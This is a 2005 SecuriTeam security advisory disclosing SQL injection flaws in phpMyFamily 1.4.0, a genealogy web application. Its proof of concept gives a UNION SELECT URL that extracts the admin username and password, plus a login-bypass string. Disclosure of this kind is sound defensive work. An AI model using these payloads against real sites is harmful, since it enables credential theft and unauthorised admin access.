

[UNIX] phpMyFamily SQL Injection

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-03/0116.html>

From: SecuriTeam (*support_at_securiteam.com*)

Date: 03/23/05

To: list@securiteam.com

Date: 23 Mar 2005 19:34:17 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

phpMyFamily SQL Injection

SUMMARY

◇ phpMyFamily is "a dynamic genealogy website builder which allows geographically dispersed family members to maintain a central database of research which is readily accessible and editable".

phpMyFamily has been found to contain an SQL injection that allow attackers to read, change and delete information at the database.

DETAILS

Vulnerable Systems:

* phpMyFamily version 1.4.0

The script files people.php, track.php, edit.php, document.php, census.php, assthu.php and other PHP files that come with phpMyFamily have been found to contain SQL injection vulnerabilities.

The cause of SQL injection is the lack of variable filtering and the usage of the variables inside SQL queries.

Proof of Concept:

[http://\[host\]/\[path\]/people.php?person=00002' UNION SELECT NULL, password,](http://[host]/[path]/people.php?person=00002' UNION SELECT NULL, password,)

Securiteam: [UNIX] phpMyFamily SQL Injection

```
NULL, username, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL,  
NULL, NULL, NULL FROM family_users WHERE admin='Y' LIMIT 1,1
```

The above SQL code selects first the admin user and returns its with login and password.

It is also possible to login as administrator without a password by using the following as the login and password:

Login: ' OR 'a'='a' AND admin='Y'/*

Password: (empty)

ADDITIONAL INFORMATION

The information has been provided by <mailto:kre0n@mail.ru> kre0n.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.